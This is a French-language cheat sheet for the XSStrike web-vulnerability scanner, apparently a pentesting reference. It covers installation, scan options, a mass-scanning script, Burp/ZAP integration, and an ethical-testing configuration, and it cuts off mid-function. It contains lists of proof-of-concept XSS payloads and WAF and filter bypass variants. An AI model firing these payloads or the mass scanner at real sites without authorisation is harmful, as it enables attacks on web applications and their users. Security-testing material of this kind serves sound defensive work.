Aide-Mémoire XSStrike
Aperçu
XSStrike est un framework avancé de détection et d'exploitation XSS qui se spécialise dans le contournement des WAF, l'analyse des XSS basées sur le DOM, et la génération de charges utiles contextuelles. Il propose un crawling intelligent, des capacités de fuzzing, et des techniques sophistiquées de génération de charges utiles pour les tests de sécurité d'applications web modernes.
💡 Fonctionnalités Clés: Techniques de contournement WAF, analyse XSS basée sur le DOM, crawling intelligent, génération de charges utiles contextuelles, capacités de fuzzing, et rapports complets.
Installation et Configuration
Installation Git
# Cloner le dépôt XSStrike
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
# Installer les dépendances Python
pip3 install -r requirements.txt
# Alternative : Installer les dépendances manuellement
pip3 install requests lxml beautifulsoup4 urllib3 fuzzywuzzy
# Vérifier l'installation
python3 xsstrike.py --help
# Rendre exécutable (optionnel)
chmod +x xsstrike.py
sudo ln -s $(pwd)/xsstrike.py /usr/local/bin/xsstrike
# Tester la fonctionnalité de base
python3 xsstrike.py -u https://httpbin.org/get
Configuration Environnement Virtuel
# Créer un environnement virtuel
python3 -m venv xsstrike-env
source xsstrike-env/bin/activate
# Installer XSStrike
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
# Créer un script d'activation
cat > activate_xsstrike.sh << 'EOF'
#!/bin/bash
cd /path/to/XSStrike
source ../xsstrike-env/bin/activate
python3 xsstrike.py "$@"
EOF
chmod +x activate_xsstrike.sh
sudo mv activate_xsstrike.sh /usr/local/bin/xsstrike
# Utilisation
xsstrike -u https://example.com
Installation Docker
# Créer un Dockerfile
cat > Dockerfile << 'EOF'
FROM python:3.9-slim
WORKDIR /app
# Installer les dépendances système
RUN apt-get update && apt-get install -y \
git \
&& rm -rf /var/lib/apt/lists/*
# Cloner XSStrike
RUN git clone https://github.com/s0md3v/XSStrike.git .
# Installer les dépendances Python
RUN pip install -r requirements.txt
# Créer le point d'entrée
ENTRYPOINT ["python3", "xsstrike.py"]
EOF
# Construire l'image Docker
docker build -t xsstrike .
# Exécuter XSStrike dans Docker
docker run --rm xsstrike -u https://example.com
# Créer un alias pour faciliter l'utilisation
echo 'alias xsstrike="docker run --rm -v $(pwd):/output xsstrike"' >> ~/.bashrc
source ~/.bashrc
# Exécuter avec montage de volume pour la sortie
docker run --rm -v $(pwd):/output xsstrike -u https://example.com --file-log-level INFO
Configuration et Paramétrage
# Créer le répertoire de configuration
mkdir -p ~/.xsstrike
# Créer un fichier de configuration personnalisé
cat > ~/.xsstrike/config.py << 'EOF'
# Configuration XSStrike
# Agents utilisateur pour les requêtes
user_agents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
]
# Paramètres de timeout des requêtes
timeout = 30
retries = 3
# Paramètres de threading
threads = 10
delay = 1
# Paramètres de détection WAF
waf_detection = True
waf_bypass = True
# Paramètres de crawling
crawl_depth = 2
crawl_forms = True
crawl_links = True
# Paramètres des charges utiles
payload_level = 6
skip_dom = False
skip_reflected = False
# Paramètres de sortie
verbose = True
log_file = True
log_level = 'INFO'
EOF
# Créer un fichier de charges utiles personnalisées
cat > ~/.xsstrike/custom_payloads.txt << 'EOF'
<script>alert('XSStrike Custom')</script>
<img src=x onerror=alert('XSStrike')>
<svg onload=alert('XSStrike')>
javascript:alert('XSStrike')
<iframe src=javascript:alert('XSStrike')>
<body onload=alert('XSStrike')>
<input onfocus=alert('XSStrike') autofocus>
<select onfocus=alert('XSStrike') autofocus>
<textarea onfocus=alert('XSStrike') autofocus>
<keygen onfocus=alert('XSStrike') autofocus>
EOF
# Définir les variables d'environnement
export XSSTRIKE_CONFIG=~/.xsstrike/config.py
export XSSTRIKE_PAYLOADS=~/.xsstrike/custom_payloads.txt
Utilisation de Base et Commandes
Scan d'URL Unique
# Scan XSS de base
python3 xsstrike.py -u https://example.com
# Scan avec paramètre spécifique
python3 xsstrike.py -u "https://example.com?param=test"
# Scan avec en-têtes personnalisés
python3 xsstrike.py -u https://example.com --headers
# Scan avec cookie d'authentification
python3 xsstrike.py -u https://example.com --cookie "session=abc123"
# Scan avec agent utilisateur personnalisé
python3 xsstrike.py -u https://example.com --user-agent "Agent Personnalisé"
# Scan avec proxy
python3 xsstrike.py -u https://example.com --proxy http://127.0.0.1:8080
# Scan avec timeout
python3 xsstrike.py -u https://example.com --timeout 60
# Sortie détaillée
python3 xsstrike.py -u https://example.com -v
# Ignorer la détection XSS basée sur le DOM
python3 xsstrike.py -u https://example.com --skip-dom
Test de Données POST et Formulaires
# Tester les paramètres POST
python3 xsstrike.py -u https://example.com --data "username=admin&password;=test"
# Tester avec type de contenu personnalisé
python3 xsstrike.py -u https://example.com --data "param=value" --content-type "application/x-www-form-urlencoded"
# Tester les données JSON
python3 xsstrike.py -u https://example.com --data '{"param":"value"}' --content-type "application/json"
# Tester les données de formulaire multipart
python3 xsstrike.py -u https://example.com --data "param=value" --content-type "multipart/form-data"
# Tester avec upload de fichier
python3 xsstrike.py -u https://example.com --data "file=@test.txt¶m;=value"
# Tester des méthodes HTTP spécifiques
python3 xsstrike.py -u https://example.com --method POST --data "param=value"
python3 xsstrike.py -u https://example.com --method PUT --data "param=value"
python3 xsstrike.py -u https://example.com --method PATCH --data "param=value"
Crawling et Découverte
# Activer le crawling
python3 xsstrike.py -u https://example.com --crawl
# Définir la profondeur de crawl
python3 xsstrike.py -u https://example.com --crawl --depth 3
# Crawl avec threading
python3 xsstrike.py -u https://example.com --crawl --threads 20
# Crawl et test des formulaires
python3 xsstrike.py -u https://example.com --crawl --forms
# Crawl avec délai
python3 xsstrike.py -u https://example.com --crawl --delay 2
# Crawl uniquement des chemins spécifiques
python3 xsstrike.py -u https://example.com --crawl --include "/admin,/api"
# Exclure des chemins spécifiques
python3 xsstrike.py -u https://example.com --crawl --exclude "/static,/images"
# Crawl avec portée personnalisée
python3 xsstrike.py -u https://example.com --crawl --scope "example.com"
Détection et Exploitation XSS Avancées
Techniques de Contournement WAF
# Activer le mode de contournement WAF
python3 xsstrike.py -u https://example.com --waf-bypass
# Utiliser des techniques d'encodage spécifiques
python3 xsstrike.py -u https://example.com --encode
# Niveau de charge utile personnalisé pour contournement WAF
python3 xsstrike.py -u https://example.com --level 6
# Ignorer la détection WAF
python3 xsstrike.py -u https://example.com --skip-waf
# Utiliser le fuzzing pour contournement WAF
python3 xsstrike.py -u https://example.com --fuzzer
# Charges utiles personnalisées de contournement WAF
cat > waf_bypass_payloads.txt << 'EOF'
<ScRiPt>alert(1)</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
EOF
python3 xsstrike.py -u https://example.com --payloads waf_bypass_payloads.txt
Analyse XSS Basée sur le DOM
# Activer l'analyse DOM
python3 xsstrike.py -u https://example.com --dom
# Analyse DOM approfondie
python3 xsstrike.py -u https://example.com --dom --depth 5
# Analyse DOM avec exécution JavaScript
python3 xsstrike.py -u https://example.com --dom --js
# Analyser des sinks DOM spécifiques
python3 xsstrike.py -u https://example.com --dom --sinks "innerHTML,outerHTML,document.write"
# Analyse DOM avec charges utiles personnalisées
python3 xsstrike.py -u https://example.com --dom --payloads dom_payloads.txt
# Ignorer XSS réfléchi, se concentrer sur DOM
python3 xsstrike.py -u https://example.com --skip-reflected --dom
# Analyse DOM avec simulation de navigateur
python3 xsstrike.py -u https://example.com --dom --browser
# Analyser DOM avec sources spécifiques
python3 xsstrike.py -u https://example.com --dom --sources "location.hash,location.search,document.referrer"
Fuzzing et Génération de Charges Utiles
# Activer le mode fuzzing
python3 xsstrike.py -u https://example.com --fuzzer
# Fuzzing avec liste de mots personnalisée
python3 xsstrike.py -u https://example.com --fuzzer --wordlist custom_fuzz.txt
# Fuzzing avec paramètres spécifiques
python3 xsstrike.py -u https://example.com --fuzzer --params "param1,param2"
# Fuzzing avec encodage
python3 xsstrike.py -u https://example.com --fuzzer --encode
# Fuzzing avec threading
python3 xsstrike.py -u https://example.com --fuzzer --threads 50
# Charges utiles de fuzzing personnalisées
cat > fuzz_payloads.txt << 'EOF'
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<embed src=javascript:alert(1)>
<object data=javascript:alert(1)>
<applet code=javascript:alert(1)>
<meta http-equiv=refresh content=0;url=javascript:alert(1)>
<link rel=stylesheet href=javascript:alert(1)>
<style>@import'javascript:alert(1)';</style>
<base href=javascript:alert(1)//>
<form action=javascript:alert(1)><input type=submit>
<button formaction=javascript:alert(1)>Cliquer</button>
<math><mi//xlink:href=data:x,<script>alert(1)</script>
<svg><use href=data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)'/></svg>#x>
EOF
python3 xsstrike.py -u https://example.com --fuzzer --payloads fuzz_payloads.txt
Automatisation et Intégration
Traitement par Lots et Scan de Masse
#!/usr/bin/env python3
# Script d'automatisation XSStrike pour scan de masse
import subprocess
import json
import threading
import time
import os
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
class XSStrikeMassScanner:
def __init__(self, max_workers=10, timeout=300):
self.max_workers = max_workers
self.timeout = timeout
self.results = []
self.lock = threading.Lock()
def scan_target(self, target, options=None):
"""Scanner une cible unique avec XSStrike"""
if options is None:
options = {}
# Construire la commande XSStrike
cmd = ['python3', 'xsstrike.py', '-u', target]
# Ajouter les options
if options.get('crawl'):
cmd.append('--crawl')
if options.get('dom'):
cmd.append('--dom')
if options.get('waf_bypass'):
cmd.append('--waf-bypass')
if options.get('level'):
cmd.extend(['--level', str(options['level'])])
if options.get('threads'):
cmd.extend(['--threads', str(options['threads'])])
if options.get('timeout'):
cmd.extend(['--timeout', str(options['timeout'])])
if options.get('headers'):
for header in options['headers']:
cmd.extend(['--header', header])
if options.get('cookie'):
cmd.extend(['--cookie', options['cookie']])
if options.get('proxy'):
cmd.extend(['--proxy', options['proxy']])
try:
print(f"Scan en cours: {target}")
# Exécuter XSStrike
process = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True,
timeout=self.timeout
)
stdout, stderr = process.communicate()
# Analyser les résultats
result = {
'target': target,
'timestamp': time.time(),
'success': process.returncode == 0,
'stdout': stdout,
'stderr': stderr,
'vulnerabilities': self.parse_xsstrike_output(stdout)
}
with self.lock:
self.results.append(result)
return result
except subprocess.TimeoutExpired:
print(f"Timeout lors du scan: {target}")
return {
'target': target,
'timestamp': time.time(),
'success': False,
'error': 'timeout',
'vulnerabilities': []
}
except Exception as e:
print(f"Erreur lors du scan {target}: {e}")
return {
'target': target,
'timestamp': time.time(),
'success': False,
'error': str(e),
'vulnerabilities': []
}
def parse_xsstrike_output(self, output):
"""Analyser la sortie XSStrike pour extraire les vulnérabilités"""
vulnerabilities = []
lines = output.split('\n')
for line in lines:
# Rechercher les indicateurs de vulnérabilité
if 'XSS' in line and ('found' in line.lower() or 'vulnerable' in line.lower()):
# Extraire les informations de vulnérabilité
vuln = {
'type': 'XSS',
'description': line.strip(),
'severity': 'Élevée'
}
# Essayer d'extraire plus de détails
if 'DOM' in line:
vuln['type'] = 'XSS basée sur le DOM'
elif 'Reflected' in line:
vuln['type'] = 'XSS réfléchie'
elif 'Stored' in line:
vuln['type'] = 'XSS stockée'
vulnerabilities.append(vuln)
return vulnerabilities
def scan_targets_from_file(self, targets_file, options=None):
"""Scanner plusieurs cibles depuis un fichier"""
with open(targets_file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
return self.scan_targets(targets, options)
def scan_targets(self, targets, options=None):
"""Scanner plusieurs cibles de manière concurrente"""
print(f"Début du scan de masse de {len(targets)} cibles")
print(f"Workers maximum: {self.max_workers}")
print(f"Timeout: {self.timeout}s")
with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
# Soumettre toutes les tâches
future_to_target = {
executor.submit(self.scan_target, target, options): target
for target in targets
}
# Traiter les tâches terminées
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
result = future.result()
if result['success'] and result['vulnerabilities']:
print(f"✓ Vulnérabilités trouvées dans: {target}")
else:
print(f"- Aucune vulnérabilité dans: {target}")
except Exception as e:
print(f"✗ Erreur lors du scan {target}: {e}")
return self.results
def generate_report(self, output_file='xsstrike_report.json'):
"""Générer un rapport complet"""
# Calculer les statistiques
total_targets = len(self.results)
successful_scans = sum(1 for r in self.results if r['success'])
vulnerable_targets = sum(1 for r in self.results if r.get('vulnerabilities'))
# Créer le rapport
report = {
'scan_info': {
'timestamp': time.time(),
'total_targets': total_targets,
'successful_scans': successful_scans,
'vulnerable_targets': vulnerable_targets,
'success_rate': (successful_scans / total_targets * 100) if total_targets > 0 else 0
},
'results': self.results,
'summary': {
'high_risk': sum(1 for r in self.results
for v in r.get('vulnerabilities', [])
if v.get('severity') == 'Élevée'),
'medium_risk': sum(1 for r in self.results
for v in r.get('vulnerabilities', [])
if v.get('severity') == 'Moyenne'),
'low_risk': sum(1 for r in self.results
for v in r.get('vulnerabilities', [])
if v.get('severity') == 'Faible')
}
}
# Sauvegarder le rapport
with open(output_file, 'w') as f:
json.dump(report, f, indent=2, ensure_ascii=False)
print(f"Rapport sauvegardé: {output_file}")
return report
# Exemple d'utilisation
if __name__ == "__main__":
# Créer le scanner
scanner = XSStrikeMassScanner(max_workers=20, timeout=300)
# Options de scan
scan_options = {
'crawl': True,
'dom': True,
'waf_bypass': True,
'level': 6,
'threads': 10
}
# Liste des cibles
targets = [
'https://example1.com',
'https://example2.com',
'https://example3.com'
]
# Exécuter le scan
results = scanner.scan_targets(targets, scan_options)
# Générer le rapport
report = scanner.generate_report('scan_results.json')
print(f"Scan terminé. {len(results)} résultats.")
Intégration avec d'Autres Outils
Intégration Burp Suite
# Configuration proxy Burp Suite
python3 xsstrike.py -u https://example.com --proxy http://127.0.0.1:8080
# Scan avec cookies de session Burp
python3 xsstrike.py -u https://example.com --cookie "JSESSIONID=ABC123; PHPSESSID=DEF456"
# Export des résultats pour Burp
python3 xsstrike.py -u https://example.com --output burp_format.xml
# Script d'intégration Burp
cat > burp_integration.py << 'EOF'
#!/usr/bin/env python3
import requests
import json
import subprocess
class BurpXSSTrikeIntegration:
def __init__(self, burp_proxy="http://127.0.0.1:8080"):
self.burp_proxy = burp_proxy
self.session = requests.Session()
self.session.proxies = {'http': burp_proxy, 'https': burp_proxy}
self.session.verify = False
def run_xsstrike_with_burp(self, target, options=None):
"""Exécuter XSStrike avec proxy Burp"""
cmd = ['python3', 'xsstrike.py', '-u', target, '--proxy', self.burp_proxy]
if options:
if options.get('crawl'):
cmd.append('--crawl')
if options.get('dom'):
cmd.append('--dom')
result = subprocess.run(cmd, capture_output=True, text=True)
return result.stdout, result.stderr
def export_to_burp_format(self, results):
"""Exporter les résultats au format Burp"""
burp_issues = []
for result in results:
if result.get('vulnerabilities'):
for vuln in result['vulnerabilities']:
issue = {
'url': result['target'],
'name': vuln['type'],
'severity': vuln['severity'],
'confidence': 'Certain',
'description': vuln['description']
}
burp_issues.append(issue)
return json.dumps(burp_issues, indent=2)
# Utilisation
integration = BurpXSSTrikeIntegration()
stdout, stderr = integration.run_xsstrike_with_burp('https://example.com', {'crawl': True})
print(stdout)
EOF
python3 burp_integration.py
Intégration OWASP ZAP
# Configuration proxy ZAP
python3 xsstrike.py -u https://example.com --proxy http://127.0.0.1:8081
# Script d'intégration ZAP
cat > zap_integration.py << 'EOF'
#!/usr/bin/env python3
import requests
import json
import subprocess
from zapv2 import ZAPv2
class ZAPXSSTrikeIntegration:
def __init__(self, zap_proxy="127.0.0.1:8081"):
self.zap = ZAPv2(proxies={'http': f'http://{zap_proxy}', 'https': f'http://{zap_proxy}'})
self.zap_proxy = f'http://{zap_proxy}'
def run_xsstrike_with_zap(self, target):
"""Exécuter XSStrike avec proxy ZAP"""
# Démarrer ZAP spider d'abord
self.zap.spider.scan(target)
# Attendre que le spider termine
while int(self.zap.spider.status()) < 100:
time.sleep(1)
# Exécuter XSStrike
cmd = ['python3', 'xsstrike.py', '-u', target, '--proxy', self.zap_proxy, '--crawl']
result = subprocess.run(cmd, capture_output=True, text=True)
# Obtenir les alertes ZAP
zap_alerts = self.zap.core.alerts()
return result.stdout, zap_alerts
def combine_results(self, xsstrike_output, zap_alerts):
"""Combiner les résultats XSStrike et ZAP"""
combined_results = {
'xsstrike_findings': self.parse_xsstrike_output(xsstrike_output),
'zap_alerts': zap_alerts,
'correlation': self.correlate_findings(xsstrike_output, zap_alerts)
}
return combined_results
def parse_xsstrike_output(self, output):
"""Analyser la sortie XSStrike"""
findings = []
lines = output.split('\n')
for line in lines:
if 'XSS' in line and 'found' in line.lower():
findings.append({
'tool': 'XSStrike',
'finding': line.strip()
})
return findings
def correlate_findings(self, xsstrike_output, zap_alerts):
"""Corréler les résultats des deux outils"""
correlations = []
xss_alerts = [alert for alert in zap_alerts if 'XSS' in alert.get('name', '')]
xsstrike_findings = self.parse_xsstrike_output(xsstrike_output)
for alert in xss_alerts:
for finding in xsstrike_findings:
if alert.get('url') in finding.get('finding', ''):
correlations.append({
'url': alert['url'],
'zap_confidence': alert.get('confidence'),
'xsstrike_confirmed': True
})
return correlations
# Utilisation
integration = ZAPXSSTrikeIntegration()
xsstrike_output, zap_alerts = integration.run_xsstrike_with_zap('https://example.com')
combined = integration.combine_results(xsstrike_output, zap_alerts)
print(json.dumps(combined, indent=2))
EOF
python3 zap_integration.py
Techniques Avancées et Personnalisation
Charges Utiles Personnalisées et Contournements
# Créer des charges utiles spécialisées pour différents contextes
cat > context_payloads.txt << 'EOF'
# Contexte HTML
<script>alert('HTML_Context')</script>
<img src=x onerror=alert('HTML_Context')>
<svg onload=alert('HTML_Context')>
# Contexte d'attribut
" onmouseover=alert('ATTR_Context') "
' onmouseover=alert('ATTR_Context') '
onmouseover=alert('ATTR_Context')
# Contexte JavaScript
';alert('JS_Context');//
';alert('JS_Context');var a='
</script><script>alert('JS_Context')</script>
# Contexte CSS
</style><script>alert('CSS_Context')</script>
expression(alert('CSS_Context'))
-moz-binding:url(javascript:alert('CSS_Context'))
# Contexte URL
javascript:alert('URL_Context')
data:text/html,<script>alert('URL_Context')</script>
vbscript:alert('URL_Context')
EOF
# Utiliser les charges utiles contextuelles
python3 xsstrike.py -u https://example.com --payloads context_payloads.txt
# Charges utiles de contournement de filtres
cat > filter_bypass_payloads.txt << 'EOF'
# Contournement de filtres de mots-clés
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<script>alert(1)</script>
<sCrIpT>alert(1)</ScRiPt>
# Contournement par encodage
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert('\x58\x53\x53')</script>
<script>alert('\u0058\u0053\u0053')</script>
# Contournement par fragmentation
<scr<script>ipt>alert(1)</scr</script>ipt>
<scr\x00ipt>alert(1)</scr\x00ipt>
<scr\nipt>alert(1)</scr\nipt>
# Contournement par commentaires
<scr<!---->ipt>alert(1)</scr<!---->ipt>
<scr/**/ipt>alert(1)</scr/**/ipt>
# Contournement par entités HTML
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(1)</script>
EOF
python3 xsstrike.py -u https://example.com --payloads filter_bypass_payloads.txt --encode
Analyse Comportementale et Détection Avancée
#!/usr/bin/env python3
# Analyseur comportemental avancé pour XSStrike
import re
import json
import time
import requests
from urllib.parse import urljoin, urlparse
from bs4 import BeautifulSoup
class AdvancedXSSAnalyzer:
def __init__(self):
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
# Patterns de détection XSS
self.xss_patterns = [
r'<script[^>]*>.*?</script>',
r'javascript:',
r'on\w+\s*=',
r'<iframe[^>]*src\s*=',
r'<object[^>]*data\s*=',
r'<embed[^>]*src\s*='
]
# Contextes d'exécution
self.execution_contexts = [
'html_body',
'html_attribute',
'javascript_string',
'javascript_variable',
'css_property',
'url_parameter'
]
def analyze_response_context(self, response, payload):
"""Analyser le contexte de réponse pour déterminer l'exécution potentielle"""
contexts = []
content = response.text.lower()
payload_lower = payload.lower()
# Détecter le contexte HTML
if payload_lower in content:
# Vérifier si dans le corps HTML
if re.search(rf'<body[^>]*>.*?{re.escape(payload_lower)}.*?</body>', content, re.DOTALL):
contexts.append('html_body')
# Vérifier si dans un attribut
if re.search(rf'\w+\s*=\s*["\'][^"\']*{re.escape(payload_lower)}[^"\']*["\']', content):
contexts.append('html_attribute')
# Vérifier si dans JavaScript
if re.search(rf'<script[^>]*>.*?{re.escape(payload_lower)}.*?</script>', content, re.DOTALL):
contexts.append('javascript_string')
# Vérifier si dans CSS
if re.search(rf'<style[^>]*>.*?{re.escape(payload_lower)}.*?</style>', content, re.DOTALL):
contexts.append('css_property')
return contexts
def test_payload_execution(self, url, payload, method='GET', data=None):
"""Tester l'exécution d'une charge utile"""
try:
if method.upper() == 'GET':
# Test GET avec paramètre
test_url = f"{url}?test_param={payload}"
response = self.session.get(test_url, timeout=10)
else:
# Test POST avec données
if data:
test_data = data.copy()
test_data['test_param'] = payload
else:
test_data = {'test_param': payload}
response = self.session.post(url, data=test_data, timeout=10)
# Analyser la réponse
contexts = self.analyze_response_context(response, payload)
# Détecter l'exécution potentielle
execution_risk = self.calculate_execution_risk(response, payload, contexts)
return {
'payload': payload,
'method': method,
'response_code': response.status_code,
'contexts': contexts,
'execution_risk': execution_risk,
'response_length': len(response.text),
'reflected': payload.lower() in response.text.lower()
}
except Exception as e:
return {
'payload': payload,
'method': method,
'error': str(e),
'execution_risk': 'unknown'
}
def calculate_execution_risk(self, response, payload, contexts):
"""Calculer le risque d'exécution basé sur le contexte"""
risk_score = 0
# Facteurs de risque par contexte
context_risks = {
'html_body': 8,
'html_attribute': 6,
'javascript_string': 9,
'javascript_variable': 7,
'css_property': 4,
'url_parameter': 3
}
# Calculer le score basé sur les contextes
for context in contexts:
risk_score += context_risks.get(context, 0)
# Facteurs additionnels
if any(pattern in response.text.lower() for pattern in ['<script', 'javascript:', 'on\w+=']):
risk_score += 3
if response.headers.get('Content-Type', '').startswith('text/html'):
risk_score += 2
# Détection de filtres
if len(payload) != len([c for c in response.text if c in payload]):
risk_score -= 2 # Filtrage détecté
# Classification du risque
if risk_score >= 15:
return 'critique'
elif risk_score >= 10:
return 'élevé'
elif risk_score >= 5:
return 'moyen'
elif risk_score > 0:
return 'faible'
else:
return 'minimal'
def comprehensive_xss_test(self, url, custom_payloads=None):
"""Test XSS complet avec analyse comportementale"""
# Charges utiles par défaut
default_payloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
'javascript:alert("XSS")',
'" onmouseover=alert("XSS") "',
'</script><script>alert("XSS")</script>',
'<iframe src=javascript:alert("XSS")>',
'<body onload=alert("XSS")>',
'<input onfocus=alert("XSS") autofocus>',
'<select onfocus=alert("XSS") autofocus>'
]
payloads = custom_payloads if custom_payloads else default_payloads
results = []
print(f"Test XSS complet pour: {url}")
print(f"Nombre de charges utiles: {len(payloads)}")
for i, payload in enumerate(payloads, 1):
print(f"Test {i}/{len(payloads)}: {payload[:50]}...")
# Test GET
get_result = self.test_payload_execution(url, payload, 'GET')
get_result['test_type'] = 'GET'
results.append(get_result)
# Test POST si applicable
post_result = self.test_payload_execution(url, payload, 'POST', {'input': payload})
post_result['test_type'] = 'POST'
results.append(post_result)
time.sleep(0.5) # Délai pour éviter la surcharge
# Analyser les résultats
analysis = self.analyze_results(results)
return {
'url': url,
'timestamp': time.time(),
'results': results,
'analysis': analysis
}
def analyze_results(self, results):
"""Analyser les résultats des tests"""
total_tests = len(results)
reflected_count = sum(1 for r in results if r.get('reflected', False))
# Compter par niveau de risque
risk_counts = {}
for result in results:
risk = result.get('execution_risk', 'unknown')
risk_counts[risk] = risk_counts.get(risk, 0) + 1
# Identifier les charges utiles les plus efficaces
effective_payloads = [
r for r in results
if r.get('execution_risk') in ['critique', 'élevé'] and r.get('reflected', False)
]
return {
'total_tests': total_tests,
'reflected_count': reflected_count,
'reflection_rate': (reflected_count / total_tests * 100) if total_tests > 0 else 0,
'risk_distribution': risk_counts,
'effective_payloads': len(effective_payloads),
'recommendation': self.generate_recommendation(risk_counts, effective_payloads)
}
def generate_recommendation(self, risk_counts, effective_payloads):
"""Générer des recommandations basées sur l'analyse"""
if risk_counts.get('critique', 0) > 0:
return "CRITIQUE: Vulnérabilités XSS critiques détectées. Correction immédiate requise."
elif risk_counts.get('élevé', 0) > 0:
return "ÉLEVÉ: Vulnérabilités XSS à haut risque détectées. Correction prioritaire recommandée."
elif risk_counts.get('moyen', 0) > 0:
return "MOYEN: Vulnérabilités XSS potentielles détectées. Investigation et correction recommandées."
elif risk_counts.get('faible', 0) > 0:
return "FAIBLE: Risques XSS mineurs détectés. Surveillance et amélioration des filtres recommandées."
else:
return "MINIMAL: Aucune vulnérabilité XSS significative détectée. Maintenir les mesures de sécurité actuelles."
# Exemple d'utilisation
if __name__ == "__main__":
analyzer = AdvancedXSSAnalyzer()
# Test complet
results = analyzer.comprehensive_xss_test('https://example.com/search')
# Afficher les résultats
print(json.dumps(results, indent=2, ensure_ascii=False))
# Sauvegarder le rapport
with open('advanced_xss_analysis.json', 'w') as f:
json.dump(results, f, indent=2, ensure_ascii=False)
print("Analyse terminée. Rapport sauvegardé dans 'advanced_xss_analysis.json'")
Bonnes Pratiques et Sécurité
Tests Éthiques et Responsables
# Configuration pour tests éthiques
cat > ethical_testing_config.py << 'EOF'
# Configuration de test éthique XSStrike
# Limitations de taux pour éviter la surcharge
RATE_LIMIT_DELAY = 2 # secondes entre les requêtes
MAX_CONCURRENT_THREADS = 5
REQUEST_TIMEOUT = 30
# Portée autorisée
ALLOWED_DOMAINS = [
'testphp.vulnweb.com',
'demo.testfire.net',
'dvwa.local',
'webgoat.local'
]
# Exclusions
EXCLUDED_PATHS = [
'/logout',
'/admin/delete',
'/api/delete',
'/user/delete'
]
# Charges utiles non destructives uniquement
SAFE_PAYLOADS = [
'<script>console.log("XSS Test")</script>',
'<img src=x onerror=console.log("XSS Test")>',
'<svg onload=console.log("XSS Test")>'
]
# Désactiver les tests destructifs
DISABLE_DESTRUCTIVE_TESTS = True
DISABLE_FILE_OPERATIONS = True
DISABLE_DATABASE_TESTS = True
# Logging et documentation
ENABLE_DETAILED_LOGGING = True
LOG_ALL_REQUESTS = True
DOCUMENT_FINDINGS = True
# Notification et rapport
NOTIFY_ON_CRITICAL = True
GENERATE_EXECUTIVE_SUMMARY = True
INCLUDE_REMEDIATION_ADVICE = True
EOF
# Script de test éthique
cat > ethical_xss_test.py << 'EOF'
#!/usr/bin/env python3
import time
import requests
import subprocess
from urllib.parse import urlparse
class EthicalXSSTest:
def __init__(self, config_file='ethical_testing_config.py'):
self.load_config(config_file)
self.session = requests.Session()
def load_config(self, config_file):
"""Charger la configuration de test éthique"""
config = {}
with open(config_file, 'r') as f:
exec(f.read(), config)
self.rate_limit_delay = config.get('RATE_LIMIT_DELAY', 2)
self.allowed_domains = config.get('ALLOWED_DOMAINS', [])
self.excluded_paths = config.get('EXCLUDED_PATHS', [])
self.safe_payloads = config.get('SAFE_PAYLOADS', [])
def is_target_authorized(self, url):
"""Vérifier si la cible est autorisée pour les tests"""
parsed = urlparse(url)
domain = parsed.netloc.lower()
# Vérifier les domaines autorisés
if not any(allowed in domain for allowed in self.allowed_domains):
return False, f"Domaine non autorisé: {domain}"
# Vérifier les chemins exclus
if any(excluded in parsed.path for excluded in self.excluded_paths):
return False, f"Chemin exclu: {parsed.path}"
return True, "Cible autorisée"
def run_ethical_test(self, target_url):
"""Exécuter un test XSS éthique"""
# Vérifier l'autorisation
authorized, message = self.is_target_authorized(target_url)
if not authorized:
print(f"❌ Test refusé: {message}")
return None
print(f"✅ Test autorisé: {message}")
print(f"🎯 Cible: {target_url}")
# Créer un fichier de charges utiles sûres
safe_payloads_file = 'safe_payloads.txt'
with open(safe_payloads_file, 'w') as f:
for payload in self.safe_payloads:
f.write(payload + '\n')
# Construire la commande XSStrike avec limitations
cmd = [
'python3', 'xsstrike.py',
'-u', target_url,
'--payloads', safe_payloads_file,
'--threads', '3', # Limitation des threads
'--timeout', '30',
'--delay', str(self.rate_limit_delay),
'-v'
]
print("🔍 Démarrage du test XSS éthique...")
print(f"⏱️ Délai entre requêtes: {self.rate_limit_delay}s")
try:
# Exécuter XSStrike
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=300 # Timeout global de 5 minutes
)
print("✅ Test terminé")
# Analyser et documenter les résultats
findings = self.analyze_ethical_results(result.stdout, target_url)
# Générer le rapport éthique
report = self.generate_ethical_report(target_url, findings)
return report
except subprocess.TimeoutExpired:
print("⏰ Test interrompu par timeout")
return None
except Exception as e:
print(f"❌ Erreur lors du test: {e}")
return None
def analyze_ethical_results(self, output, target_url):
